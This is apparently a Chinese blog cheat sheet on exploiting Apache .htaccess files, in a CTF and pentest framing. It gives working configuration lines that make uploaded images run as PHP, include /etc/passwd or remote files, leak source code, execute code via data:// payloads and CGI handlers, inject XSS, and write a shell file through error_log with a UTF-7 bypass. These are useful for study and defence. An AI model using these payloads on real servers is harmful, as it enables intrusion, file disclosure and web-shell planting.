.htaccess利用方式

  • 文件解析
  • 文件包含
  • 源码泄露
  • 代码执行
  • 命令执行
  • XSS
  • 自定义错误文件

文件解析

经常出现在文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的 php 恶意代码得以被解析执行
.htaccess 文件内容有如下两种

(1)SetHandler 指令# 将images.png 当做 PHP 执行
<FilesMatch  "images.png">
SetHandler  application/x-httpd-php
</FilesMatch>

(2)AddType# 将 .jpg(.xxx) 当做 PHP 文件解析
AddType application/x-httpd-php .jpg(.xxx)

文件包含

本地文件包含
通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件,同时在本目录或子目录中需要有可解析的 php 文件来触发
.htaccess 分别通过这两个配置选项来包含 /etc/passwd,并访问同目录下的 index.php文件

auto_prepend_filephp_value auto_prepend_file /etc/passwd

auto_append_filephp_value auto_append_file /etc/passwd

远程文件包含
PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启

php_value auto_append_file http://10.87.9.156/phpinfo.txt

源码泄露

利用 php_flag 将 engine 设置为 0,在本目录和子目录中关闭 php 解析,造成源码泄露

php_flag engine 0

代码执行

(1)利用伪协议
all_url_fopen、all_url_include 为 On
(2)解析.htaccess

(1)
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B

(2.1)
php_value auto_append_file .htaccess
#<?php phpinfo();
(2.2)
这种适合同目录或子目录没有 php 文件。
需要先设置允许可访问 .htaccess 文件Files ~ "^.ht">Require all grantedOrder allow,denyAllow from all
</Files>将 .htaccess指定当做 php文件处理SetHandler application/x-httpd-php
# <?php phpinfo(); ?>


命令执行

CGI启动

cgi_module 需要加载,即 apache 配置文件中有LoadModule cgi_module modules/mod_cgi.so
.htaccess内容Options ExecCGI #允许CGI执行
AddHandler cgi-script .xx #将xx后缀名的文件,当做CGI程序进行解析
ce.xx#!C:/Windows/System32/cmd.exe /k start calc.exe
6


参考例题

FastCGI启动

mod_fcgid.so需要被加载。即 apache 配置文件中有LoadModule fcgid_module modules/mod_fcgid.so
.htaccessOptions +ExecCGI
AddHandler fcgid-script .xx
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xxce.xx 内容随意

XSS

highlight_file

.htaccess
php_value highlight.comment '"><script>alert(1);</script>'index.php
<?php
highlight_file(__FILE__);
// comment其中的 highlight.comment 也可以换成如下其他选项

错误消息链接

index.php :
<?php
include('foo');#foo报错.htaccess
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

自定义错误文件

error.php
<?php include('shell');#报错页面.htaccess
php_value error_log /tmp/www/html/shell.php
php_value include_path "<?php phpinfo(); __halt_compiler();"访问 error.php,会报错并记录在 shell.php 文件中

因为会经过 html 编码,所以需要 UTF-7 来绕过。.htaccess# 第一次
php_value error_log /tmp/shell #定义错误路径
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"# 第二次
php_value include_path "/tmp" #将include()的默认路径改变
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

参考例题

.htaccess利用方式相关推荐

  1. 【文件包含漏洞03】文件包含漏洞的空字符绕过及六种利用方式

    目录 1 内容简介 本节概述 实验环境 2 空字符绕过 2.1 实验基础知识 2.2 实验环境及准备 2.3 实验步骤 2.3.1 正常访问 2.3.2 空字符绕过 2.3.3 额外的方式 3 利用方 ...

  2. redis 基于主从复制的 rce 利用方式

    在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为 ...

  3. windows php cli 后台运行_【续】windows环境redis未授权利用方式梳理

    01 Redis未授权产生原因 1.redis绑定在0.0.0.0:6379默认端口,直接暴露在公网,无防火墙进行来源信任防护. 2.没有设置密码认证,可以免密远程登录redis服务 02 漏洞危害 ...

  4. debian 访问 windows 共享_【续】windows环境redis未授权利用方式梳理

    01 Redis未授权产生原因 1.redis绑定在0.0.0.0:6379默认端口,直接暴露在公网,无防火墙进行来源信任防护. 2.没有设置密码认证,可以免密远程登录redis服务 02 漏洞危害 ...

  5. 文件包含漏洞原理/利用方式/应对方案

    原理 用户利用文件包含函数上传可执行脚本文件,造成信息泄露或任意命令执行 触发点/检测 文件包含漏洞的检测需要配合代码审计,重点在文件包含的函数 include() require() include ...

  6. 总结windows下堆溢出的三种利用方式

    创建时间:2004-04-08 文章属性:转载 文章提交:watercloud (watercloud_at_xfocus.org) 原文由Leven发在网络编程版: https://www.xfoc ...

  7. Wget漏洞(CVE-2016-4971)利用方式解析

    漏洞描述 wget是一个用来入侵Web服务器并拦截敏感数据的计算机程序.它基于shellshock漏洞对目标进行入侵.(FB注释:wget名称的由来是"World Wide Web" ...

  8. 真实IP收集及其利用方式

    0x01简介 CDN:全称Content Delivery Network,即内容分发网络,其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快.更稳定.通过在网 ...

  9. 浅谈SQL注入漏洞原理及利用方式

    1.SQL注入 原理: 在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判断,导致其传入的恶意"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行.漏洞产生于脚 ...

最新文章

  1. as3 android白屏,Android 8.0中一些坑以及对应的解决方法
  2. pyspark使用ipython
  3. 关于Django部分
  4. Firefox开发者工具里的CSS Flexbox Inspector
  5. MongoDB误删表恢复
  6. C语言二维数组找出交集,【leetcode C语言实现】剑指 Offer 04. 二维数组中的查找...
  7. 逐行对比两个文件内容的好用软件
  8. 一图胜千言,这本交互式线代教科书让你分分钟理解复杂概念,佐治亚理工出品...
  9. 《Go学习笔记 . 雨痕》方法
  10. 【英语学习】【WOTD】yen 释义/词源/示例
  11. DJango — URL的Reverse和Resolve
  12. 利用python绘制雪景图_用AI绘制冬季雪景森林场景插画图片
  13. java我的世界损坏的种子,我的世界:5分钟让你通关游戏的种子,大神用这种子破了世界纪录...
  14. 开源工业物联网数据库 Apache IoTDB 毕业成为 Apache 顶级项目!
  15. 经纬度坐标转像素坐标
  16. Java提取域名或URL中的一级域名二级域名......
  17. ubuntu14.10搭建dhcp服务器
  18. 嵌入式硬件通信接口协议-UART(四)设计起止式的应用层协议
  19. mt管理器主题修改教程_华为微信气泡怎么设置皮肤 微信怎么改猫和老鼠的主题和气泡?...
  20. 第十届蓝桥杯真题题解

热门文章

  1. c语言外循环和内循环区别是什么,汽车空调是外循环好还是内循环
  2. React Native 生成图片
  3. 微信公众号开发(二):利用责任链和模板方法模式设计消息的处理流程
  4. 构建全程灾备管理架构
  5. 前端4-2-10:Canvas与SVG之简介、对比总结
  6. 如何将带有图像的PDF转换为可编辑的Word文档
  7. 深度学习主机的初步调试(一)
  8. CSDN上传图片提示上传失败
  9. 软件开发管理工具--持续集成构建
  10. 重写与重载的区别与作用